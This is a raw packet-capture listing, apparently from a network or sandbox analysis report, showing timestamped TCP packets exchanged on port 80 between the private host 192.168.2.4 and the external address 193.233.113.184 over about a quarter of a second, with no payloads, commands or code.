Sep 24, 2024 21:30:10.779762983 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.779764891 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.779777050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.779794931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.779829979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.779843092 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.780558109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.780572891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.780589104 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.780602932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.780603886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.780622005 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.780638933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.780653954 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.780657053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.780657053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.780672073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.780675888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.780689955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.780704975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.780716896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.780721903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.780738115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.780755043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.780762911 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.780762911 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.780807972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.781537056 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.781553030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.781568050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.781584024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.781588078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.781606913 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.781622887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.781626940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.781637907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.781651974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.781656027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.781667948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.781682968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.781685114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.781701088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.781702042 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.781718969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.781734943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.781735897 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.781750917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.781766891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.781774998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.781774998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.781838894 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.782463074 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.782480001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.782495022 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.782510996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.782525063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.782541037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.782543898 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.782543898 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.782557011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.782572985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.782587051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.782603025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.782605886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.782605886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.782618046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.782622099 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.782634974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.782649040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.782686949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.782686949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.866435051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.866482973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.866493940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.866569042 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.866585016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.866601944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.866744041 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.866848946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.866864920 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.866879940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.866895914 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.866900921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.866900921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.866915941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.866939068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.866991043 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.866991043 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.867105961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.867168903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.867223024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.867292881 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.867307901 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.867324114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.867352962 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.867367983 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.867372036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.867372036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.867398024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.867398977 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.867429018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.867444992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.867449999 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.867449999 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.867461920 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.867477894 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.867479086 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.867496014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.867513895 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.867515087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.867537975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.867567062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.868212938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.868227959 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.868242025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.868259907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.868275881 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.868284941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.868284941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.868293047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.868309975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.868324041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.868330956 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.868340969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.868356943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.868372917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.868383884 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.868383884 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.868388891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.868407965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.868408918 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.868424892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.868457079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.868470907 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.869148970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.869163990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.869179010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.869194031 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.869210005 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.869225979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.869234085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.869234085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.869242907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.869259119 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.869275093 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.869288921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.869292021 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.869292021 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.869306087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.869321108 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.869338036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.869358063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.869358063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.869400978 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.870048046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.870064020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.870079041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.870094061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.870110035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.870115995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.870126009 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.870141983 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.870156050 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.870157957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.870176077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.870183945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.870183945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.870192051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.870209932 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.870218039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.870228052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.870244026 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.870260000 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.870260954 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.870336056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.870795965 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.870997906 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.871015072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.871030092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.871046066 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.871068001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.871078014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.871078014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.871085882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.871102095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.871117115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.871131897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.871133089 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.871133089 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.871150017 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.871165991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.871182919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.871197939 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.871205091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.871205091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.871216059 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.871247053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.871265888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.871993065 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872010946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872025967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872041941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872049093 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.872059107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872076035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872091055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872107029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872107983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.872107983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.872123957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872140884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872152090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.872152090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.872157097 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872173071 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872189045 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872204065 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872216940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.872216940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.872219086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872246981 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.872435093 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.872940063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872956991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872972012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.872988939 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.873004913 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.873022079 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.873025894 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.873025894 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.873037100 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.873054981 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.873070002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.873081923 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.873081923 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.873086929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.873102903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.873120070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.873150110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.873150110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.873215914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.992948055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993019104 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993057966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993057966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993061066 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993096113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993104935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993132114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993155956 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993199110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993206024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993243933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993262053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993275881 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993326902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993340969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993340969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993360996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993393898 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993393898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993417978 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993432999 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993470907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993478060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993478060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993531942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993680954 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993711948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993745089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993755102 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993755102 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993779898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993808031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993814945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993849039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993859053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993859053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993882895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993915081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993928909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993928909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993947983 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993980885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.993993044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.993993044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.994015932 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.994050980 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.994066954 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.994066954 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.994167089 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.994497061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.994528055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.994561911 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.994571924 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.994573116 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.994597912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.994630098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.994643927 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.994643927 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.994663954 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.994697094 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.994704962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.994704962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.994730949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.994741917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.994765043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.994796991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.994807959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.994807959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.994832993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.994864941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.994883060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.994883060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.994905949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.994924068 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.994961023 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.995374918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.995445967 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.995448112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.995481968 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.995517969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.995524883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.995524883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.995552063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.995584011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.995596886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.995596886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.995618105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.995645046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.995651960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.995665073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.995683908 CEST	80	49730	193.233.113.184	192.168.2.4
